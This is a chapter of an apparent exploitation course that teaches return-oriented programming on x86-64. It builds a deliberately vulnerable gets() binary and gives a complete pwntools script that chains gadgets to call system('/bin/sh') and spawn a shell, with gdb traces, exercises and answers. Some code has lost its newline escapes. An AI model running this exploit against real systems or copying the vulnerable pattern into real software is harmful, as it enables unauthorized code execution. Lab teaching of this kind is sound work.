Step 206. ROP 2: Calling system(“/bin/sh”) with a Chain — Past NX, Into a Shell

Step 206. ROP 2: Calling system("/bin/sh") with a Chain — Past NX, Into a Shell

Level 3 — Pwn Track | Difficulty ★★★★★ | Estimated time: 5 hours

Prerequisites: you’ve finished Steps 204–205. You can set an argument with a pop rdi; ret gadget, call a function, and draw a chain’s stack layout.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.

  • What you need: a WSL Ubuntu terminal, gcc, gdb, ROPgadget, pwntools. The measured environment is Ubuntu 24.04, gcc 13.3.0, pwntools 4.15.0.
  • Caution: today’s finished product is a field-grade attack — "spawning a shell from inside a program." The only target is an experimental binary you built yourself.

So far the goal has been "calling a function that prints a flag." Today’s goal is different: system("/bin/sh") — making the program execute a shell. The attacker’s final destination. And from today we work with NX (stack execution ban) turned on. You can’t plant your own code, but ROP — which chains existing code — is something NX can’t stop. You’ll confirm that in your bones.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain why ROP is the only road on an NX-enabled binary
  • Know the conditions for getting system linked and what system@plt means
  • Design and run a padding + pop rdi + "/bin/sh" + ret + system chain
  • Reproduce the movaps crash of broken stack alignment and fix it with a ret gadget
  • Send commands to the captured shell and check the results

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C + Python (pwntools), WSL Ubuntu bash, gcc 13.3.0, gdb 15.1 (x86-64)
Today’s commands/tools pwn checksec ./target (check NX), objdump -d | grep system@plt (PLT address), ROPgadget, strings -t x, p.sendline(b'id') (command the shell)
Concepts needed NX and ROP, the PLT, the system() function, 16-byte stack alignment, the shell’s stdin

2-1. When NX Turns On — And ROP Is the Answer

NX, from Step 187, forbids executing the stack. Today’s binary is compiled without -z execstack, so NX is on. Shellcode planted on the stack (Step 203) no longer runs.

But ROP executes no code from the stack. The stack holds only addresses and data, and all execution happens in a code section that already had execute permission. ROP never violates the "data ≠ code" distinction NX upholds. That’s why ROP became the default form of attack in the NX era.

2-2. system() and the PLT — Calling a Library Function

system("/bin/sh") is a libc function that takes one string and executes it as a command. For our binary to use system, two conditions are needed.

  1. system must be linked into the binary. If a system call appears even once anywhere in the source, the linker wires it in.
  2. You need the address to call. In a -no-pie binary, a fixed jump platform called the PLT plays that role.

The PLT (Procedure Linkage Table) is a fixed-address gateway to external library functions. Jump to system@plt and you eventually reach libc’s real system. Since the binary is -no-pie, this gateway’s address is fixed — usable even with ASLR on. (We formally dissect the PLT’s internals and its relationship with the GOT in Step 210. Today we treat it only as "a fixed gateway.")

2-3. Where the "/bin/sh" String Comes From — Three Ways to Procure It

The argument you hand system is a string’s address. That string has to exist somewhere.

  1. Already in the binary (today’s practice) — find it with strings -t x. Even if the full "/bin/sh" is absent, the field trick of pointing at a spot holding just the two letters "sh" also works.
  2. Plant it on the stack yourself — include "/bin/sh" in the input entering via gets, but this requires knowing a stack address (ASLR), so it’s cumbersome under today’s conditions.
  3. Write it to .bss with read — the most canonical field pattern. A two-stage chain: ROP-call the read function to receive "/bin/sh" into a writable data region (.bss), then hand that address to system. Today we only note the concept and leave it as a mission challenge.

2-4. Stack Alignment — One ret Gadget Decides Success or Failure

64-bit libc functions internally use the SSE instruction movaps, which segfaults on the spot unless the memory address is 16-byte aligned. A function entered through a normal call is safe thanks to the promise "rsp is a multiple of 16 right before call," but our handmade chains easily break that promise.

The prescription is simple: slip one do-nothing ret gadget before the target function, nudging the stack pointer 8 bytes into alignment. We actually reproduce this crash in 3-5 of this chapter — the most field-realistic wall in this entire book.


3. Follow Along

3-1. Building the Target — A Vulnerable Binary with system Linked

Input (vuln206.c)

#include <stdio.h>
#include <stdlib.h>

/* Never called anywhere, but its job is to get system linked into the binary */
void helper(void) {
    system("echo helper");
}

/* Gadget supplier function — planted as in practice problems */
void gadgets(void) {
    __asm__ volatile(
        "pop %rdint"
        "retn"
    );
}

/* A string that stays inside the binary */
const char *shell_str = "/bin/sh";

void vuln(void) {
    char buf[32];
    printf("Input: ");
    fflush(stdout);
    gets(buf);
    printf("Received: %sn", buf);
    fflush(stdout);
    if (shell_str == NULL) printf("x");  /* prevent shell_str elimination */
}

int main(void) {
    vuln();
    printf("Normal exitn");
    return 0;
}

How to read it: nobody calls helper, but because it mentions system, the linker wires system in. Thanks to shell_str, the string "/bin/sh" resides in the binary. In real binaries such materials often exist by accident — things like debug calls a developer left behind.

Compile — this time with NX on

cd ~/lab204_208
gcc -g -O0 -fno-stack-protector -no-pie vuln206.c -o vuln206

3-2. Confirming NX — This Target Is Different

/root/lab188/venv/bin/pwn checksec ./vuln206
[*] '/root/lab204_208/vuln206'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    ...

(Measured 2026-09-09.)

How to read the output: NX: NX enabled — a different line from Step 204’s binary (Stack: Executable). Shellcode on the stack can no longer run. So we go with ROP. Thanks to No PIE, the binary’s own addresses (PLT, gadgets, strings) are fixed.

3-3. Gathering Materials — Four Addresses

objdump -d ./vuln206 | grep -A1 "<system@plt>:"
00000000004010b0 <system@plt>:
  4010b0:	f3 0f 1e fa          	endbr64
/root/lab188/venv/bin/ROPgadget --binary ./vuln206 --only "pop|ret" | grep -E "pop rdi ; ret$| : ret$"
0x00000000004011f8 : pop rdi ; ret
0x000000000040101a : ret
strings -t x vuln206 | grep "/bin/sh"
   2010 /bin/sh

(Measured 2026-09-09.)

Materials summary: system@plt = 0x4010b0, pop rdi ; ret = 0x4011f8, ret = 0x40101a, "/bin/sh" = 0x402010 (0x2000 + 0x10). Check the padding with disas and buf = rbp – 0x20, so it’s still 40 bytes.

Chain design: [A × 40][pop rdi][0x402010][ret][0x4010b0]. vuln rets → pop rdi puts the "/bin/sh" address into rdi → ret passes over while fixing alignment → system@plt entry. The complete sentence system("/bin/sh").

3-4. ★ The Attack — Capturing a Shell

Input (exploit206.py)

#!/usr/bin/env python3
from pwn import *

context.log_level = 'debug'

e = ELF('/root/lab204_208/vuln206')
context.binary = e

pop_rdi = 0x4011f8      # pop rdi ; ret found with ROPgadget
ret     = 0x40101a      # ret gadget for stack alignment
binsh   = 0x402010      # "/bin/sh" found with strings -t x
system  = e.plt['system']

print("[*] system@plt =", hex(system))

payload = b'A' * 40
payload += p64(pop_rdi)   # prepare to load rdi
payload += p64(binsh)     # rdi = "/bin/sh"
payload += p64(ret)       # 16-byte stack alignment
payload += p64(system)    # system("/bin/sh")

p = process('/root/lab204_208/vuln206')
p.recvuntil('Input: '.encode())
p.sendline(payload)
p.sendline(b'id; echo SHELL_ACQUIRED')
p.recvuntil('Received: '.encode())
print(p.recvall(timeout=3).decode(errors='replace'))

Run

/root/lab188/venv/bin/python3 exploit206.py
[*] system@plt = 0x4010b4
[DEBUG] Sent 0x49 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000020  41 41 41 41  41 41 41 41  f8 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000030  10 20 40 00  00 00 00 00  1a 10 40 00  00 00 00 00  │· @·│····│··@·│····│
    00000040  b4 10 40 00  00 00 00 00  0a                        │··@·│····│·│
[DEBUG] Sent 0x18 bytes:
    b'id; echo SHELL_ACQUIREDn'
...
[*] Stopped process '/root/lab204_208/vuln206' (pid 685)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
uid=0(root) gid=0(root) groups=0(root)
SHELL_ACQUIRED

(Measured 2026-09-09.)

Success. Let’s read the screen.

  • uid=0(root) ... — the output of the id command we sent. The /bin/sh the program spawned read and executed our second line. Capturing a shell means you can now run arbitrary commands with this program’s privileges.
  • SHELL_ACQUIRED — our marker got printed.
  • Note that e.plt['system'] reported not 0x4010b0 but 0x4010b4. pwntools reports the address past the PLT entry’s endbr64 (4 bytes). Both are valid entry points, so the attack succeeds identically (we measured both).

3-5. The Alignment Wall — What Happens Without ret

Remove the alignment ret from the chain (padding + pop rdi + binsh + system) and follow it in gdb.

(gdb) b system
(gdb) r < payload206_noret.txt
Breakpoint 1, __libc_system (line=0x402010 "/bin/sh") at ../sysdeps/posix/system.c:202
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7c5843b in do_system (line=0x402010 "/bin/sh") at ../sysdeps/posix/system.c:148
(gdb) x/i $rip
=> 0x7ffff7c5843b <do_system+363>:	movaps %xmm0,0x50(%rsp)
(gdb) info registers rsp
rsp            0x7fffffffe248      0x7fffffffe248

(Measured 2026-09-09.)

How to read the output: entry into system was normal (rdi = "/bin/sh" confirmed), and even the argument was perfect. Yet it died at do_system+363, on movaps %xmm0,0x50(%rsp). rsp is 0x…e248 — not divisible by 16. movaps demands 16-byte alignment, so this one line killed the program.

A large share of "works locally but fails in the field" crashes are exactly this. The prescription: one ret gadget. The stack pointer shifts 8 bytes and the alignment lands. Slipping one ret before system-family functions is a standard pwn idiom.

3-6. Talking to the Shell — The Feel of stdin Wiring

The shell inherits the program’s stdin as is. In a pwntools script, p.sendline(b'command') is a command typed into the shell, and in field exploits you call p.interactive() at the end to wire your keyboard straight to the shell.

There’s one trap. If you send no commands right after spawning the shell, the shell hits the pipe’s end (EOF) and quietly exits. "The shell spawned but died right away" is mostly this case. Build the habit of immediately sending a marker command to confirm, as in 3-4.


4. Missions & Exercises

Mission — Capture a Shell with Your Own Materials

  1. Modify vuln206.c: change buf’s size (e.g., char buf[48]), and build a structure that runs echo PWNED_YOUR_INITIALS instead of "/bin/sh" (hint: if the string handed to system is a shell, a shell spawns; if it’s an echo command, it prints one line and ends)
  2. Re-collect all the materials yourself (padding, pop rdi, string address, system@plt) — reusing the book’s numbers forbidden
  3. First try without the alignment ret, and record the result (success or movaps crash)
  4. Succeed with the final chain including ret, and explain the difference between the two results in alignment terms
  5. (Challenge) The third pattern of 2-3: remove "/bin/sh" from the binary, and design a two-stage chain that ROP-calls read(0, bss, 8) to write "/bin/sh" into .bss and then calls system — through the stack-layout diagram only

Exercises

Exercise 1. Today’s binary had NX on. Yet the attack succeeded — explain why, from the perspective of "what we planted" versus "what executed."

Exercise 2. We jumped to system@plt — how does that reach libc’s real system? State the PLT’s role in one sentence.

Exercise 3. In the 3-5 crash, the argument (rdi = "/bin/sh") was perfect — so why did it die? Explain with the condition movaps demands.

Exercise 4. After spawning a shell, why does the shell exit right away if you send nothing?


5. Model Answers & Completion Criteria

Mission Model Answer

An example report (2026-09-09, Ubuntu 24.04, gcc 13.3.0 — numbers vary by environment):

[design] changed to buf[48], shell_str = "echo PWNED_DQ" (to confirm command execution instead of a shell)
[materials] disas → buf = rbp-0x30, padding = 0x30 + 8 = 56 bytes
      ROPgadget → pop rdi ; ret = around 0x4011f8 (re-measured)
      strings -t x → "echo PWNED_DQ" = 0x4020xx
      objdump → system@plt = 0x4010b0
[attempt 1 — no ret] SIGSEGV; gdb: died at movaps in do_system (rsp ends in 8)
[attempt 2 — ret inserted] "PWNED_DQ" printed successfully
[explanation] attempt 1 died at movaps because rsp wasn't a multiple of 16 at system entry;
      one ret shifted rsp 8 bytes into alignment and it survived

How to verify: ① were all materials re-measured from the new binary (the padding should not be 40)? ② is there a failure record of the "no ret" attempt — that record is evidence you know what alignment means? ③ does the success output exactly match the command’s result?

Exercise Answers

Answer 1. What we planted on the stack was only addresses and data (a string pointer), and what executed was entirely fragments (gadgets) from a code section that already had execute permission, plus a libc function (system). NX is a device that blocks "executing code planted in data regions," so there’s nothing to catch in an attack that plants no new code. This is why ROP is the default form in the NX era.

Answer 2. The PLT is a fixed-address gateway (jump platform) inside the binary; a jump to system@plt passes through the GOT and eventually connects to the real system code of the libc loaded in that run. In a -no-pie binary this gateway address is fixed, usable regardless of ASLR.

Answer 3. A problem unrelated to the argument. The movaps instruction used inside system (do_system) demands the target memory address be 16-byte aligned, but the rsp our chain built ended in 8 (an alignment violation). A normal call path honors the promise "rsp 16-byte aligned right before call," but a handmade chain lives outside that promise. Hence the ret gadget that shifts rsp 8 bytes to satisfy the promise.

Answer 4. Because the shell inherits stdin, and when there’s no more data to read from a piped stdin (EOF), the shell exits on its own. On an interactive terminal it would wait with a prompt, but in a script’s pipe, EOF is the termination signal. That’s why you send a confirmation command right after capturing the shell, or wire the keyboard with p.interactive().

Completion Criteria Checklist

  • [ ] I can explain why ROP is needed on an NX-enabled binary
  • [ ] I know the condition for getting system linked (a call mention in the source)
  • [ ] I can collect the four materials myself (padding, gadget, string, system@plt)
  • [ ] I called system("/bin/sh") with a chain and confirmed a shell (or command execution)
  • [ ] I reproduced the crash (movaps) of trying without the alignment ret and explained the cause
  • [ ] I know why e.plt[‘system’]’s address is reported as PLT entry+4 (endbr64)
  • [ ] I can explain the shell’s stdin/EOF behavior
  • [ ] Mission: I completed a success/failure record report for the redesigned target

6. Common Pitfalls & Fixes

Wall 1. No shell, just death — movaps

Symptom: the chain seems to reach system but segfaults. In gdb:

Program received signal SIGSEGV, Segmentation fault.
=> 0x7ffff7c5843b <do_system+363>:	movaps %xmm0,0x50(%rsp)

Cause: a stack alignment violation. In the 2026-09-09 measurement, rsp ended in 8.
Fix: slip one ret gadget before system. If it still dies, try two — the required count varies with the stack state at re-entry (Step 207 actually hits a case needing two).

Wall 2. "The shell spawned" but there’s no output

Symptom: no crash, a clean exit, but no id output.
Cause: one of three — ① the rdi that reached system was garbage, so something other than a shell ran; ② the shell spawned but hit EOF and exited before you sent a command; ③ the receiving side (recvall) timed too early.
Fix: set b system in gdb and check "/bin/sh" first with x/s $rdi at entry. If the argument is right, give the recv family a generous timeout and check that you sent a marker command (echo SHELL_ACQUIRED) via sendline.

Wall 3. Found "/bin/sh" with strings but the address doesn’t match

Symptom: you used the offset from strings (0x2010) as is and a garbage string ran.
Cause: confusing file offset with memory virtual address.
Fix: this binary maps .rodata at 0x402000, so it’s 0x402000 + 0x10 = 0x402010. When in doubt, check that address’s contents directly with x/s 0x402010 in gdb.

Wall 4. pwntools’ system address differs from objdump’s

Symptom: objdump says 0x4010b0; e.plt['system'] says 0x4010b4.
Cause: pwntools reports the address past the PLT entry’s endbr64 (4 bytes). Both are valid entry points (both confirmed by measurement).
Fix: either works. Just note the source when you write numbers in your report.

Wall 5. Compiled, but there’s no system@plt

Symptom: nothing at all in objdump -d | grep system.
Cause: the source has no system call, or optimization erased the call.
Fix: the code must contain an actual system call, like helper’s, for the linker to create a PLT entry. Compiled with -O0, the call survives.


7. Summary

Today’s Concepts

Concept One-line explanation
system() A libc function executing a string as a command — the attack’s final destination
PLT A fixed-address gateway to library functions (ASLR-exempt under -no-pie)
NX-era attack ROP, chaining existing code without planting new code, is the default form
Stack alignment 16-byte rsp alignment before entering system-family functions — adjusted with a ret gadget
String procurement Three routes: residing in the binary / injected on the stack / written to .bss with read

Today’s Commands

Command/code What it does
pwn checksec ./target Check protections like NX — decides the attack approach
objdump -d | grep system@plt Find the PLT gateway address
e.plt['system'] (pwntools) Auto-read the PLT address (beware endbr64 skipping)
padding + pop rdi + binsh + ret + system The standard shell-capture chain
p.sendline(b'id') Send a command to the captured shell
x/s $rdi (gdb) Verify the argument at function entry

An Instinct More Important Than Commands

Today you wrote your first complete sentence with the word list called a chain: system("/bin/sh"). Five numbers (four addresses and padding) merely stacked on the stack — and the program surrendered a shell with its own privileges. In the pwn world, "the shell popped" is another name for this physical event.

Yet today’s success hid one freebie: system@plt was a fixed address — because the binary was -no-pie. If the addresses you need change every run, our five numbers become useless in that instant. A defense called ASLR works exactly like that. How to climb that wall is a question you can already answer fully with the materials in your hands — gadgets and chains.


Once every box is checked, Step 206 is complete.